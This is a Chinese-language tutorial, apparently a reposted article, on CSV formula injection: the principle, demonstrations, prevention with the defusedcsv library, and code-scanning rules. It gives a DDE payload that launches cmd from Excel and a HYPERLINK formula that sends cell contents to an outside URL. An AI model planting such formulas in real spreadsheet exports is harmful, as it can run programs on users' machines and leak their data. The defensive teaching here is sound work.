“
相信大家听到CSV注入,应该是一脸茫然的,怀疑自己是不是听错了。难道不应该是SQL注入、命令注入之类的吗,CSV文件只是普通的文本,也可以注入吗?事实情况是CSV也是可以注入的。目前公司内部有许多后台管理系统,都支持CSV文件导出,如果不注意,就会造成较大的危害。下面就将详细介绍下CSV 注入原理和代码检测提前避免该漏洞的方法。
”
一、基本介绍
CSV 注入(CSV Injection),也称为公式注入。当网站在 CSV 文件中嵌入不受信任的输入时,就会发生 CSV 注入。在使用 Microsoft Excel 或 LibreOffice Calc等电子表格程序打开 CSV 时,任何以 开头的单元格=都会被软件解释为公式。恶意制作的公式可用于三种关键攻击:
-
通过利用电子表格软件中的漏洞(例如 CVE-2014-3524)劫持用户的计算机。 -
通过利用用户忽略电子表格中的安全警告来劫持用户的计算机。 -
从电子表格或其他打开的电子表格中窃取内容。
这种攻击很难缓解,而且很多漏洞赏金计划都明确禁止这种攻击。要修复它,需要确保没有单元格使用以下任何字符开头:
-
等于 ( =) -
加号 ( +) -
减号 ( -) -
@符号(@) -
Tab ( 0x09) -
回车 ( 0x0D)
二、漏洞演示
2、当我们打开该CSV文件时,发现lisi年龄表达式=1+1已经被执行了,这是不是意味着我们的表达式可以用来做其他事情呢?
3、利用表达式窃取表格内容或者用做钓鱼
-
把表达式内容替换成如下内容,实际是个超链接,并把表格A2、A3字段给带出来
4、利用DDE注入,远程命令执行 在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel需要启动另外一个程序(cmd),点击是,Windows会弹出计算器窗口
动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
三、如何预防
以Python语言为例,其内置了CSV模块,但是大部分开发在日常导出CSV时,使用默认参数。如下代码
import csv
# 写入CSV的数据,该数据可以是用户的在界面上提交的数据,写入数据库里的结果
datas = [["zhangsan","lisi", "=HYPERLINK("http://www.baidu.com/"&A1,"Click")"]]
with open('test2.csv', 'w') as f:
writer = csv.writer(f)
writer.writerows(datas)
但是细看,datas里的数据有问题,这个数据可以是用户在界面上提交落入数据库的。但是由于导出到CSV时没有校验,直接生成的CSV文件就含有很大的安全问题。一般运营人员都会默认信任管理后台导出的文件。
这时候就需要开发在导出时做特殊处理,把开头是=、+、-、@等特殊符号去除掉。已经有开源的库帮我们写好了此逻辑,可以直接引入使用,详情见https://github.com/raphaelm/defusedcsv
pip install defusedcsv
from defusedcsv import csv
使用时直接使用导入,其他功能和默认的csv功能一样。
四、安全检测
如何检测开发在代码编码阶段的是正确的呢,这时需要安全人员在白盒平台编写相关规则,进行检测,以本次的CSV注入漏洞为例,可以在白盒代码平台编写相关规则。判断开发者在导出CSV文件时,有没有使用defusedcsv库进行过滤。当应用在发布平台进行发布时,将会自动化对其进行检测,运营人员审核后,即可确定是否真正的含有风险。
参考链接:
-
https://owasp.org/www-community/attacks/CSV_Injection#:~:text=CSV%20Injection%2C%20also%20known%20as,the%20software%20as%20a%20formula.
原文始发于微信公众号(洋洋自语):CSV注入原理和预防
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/272958.html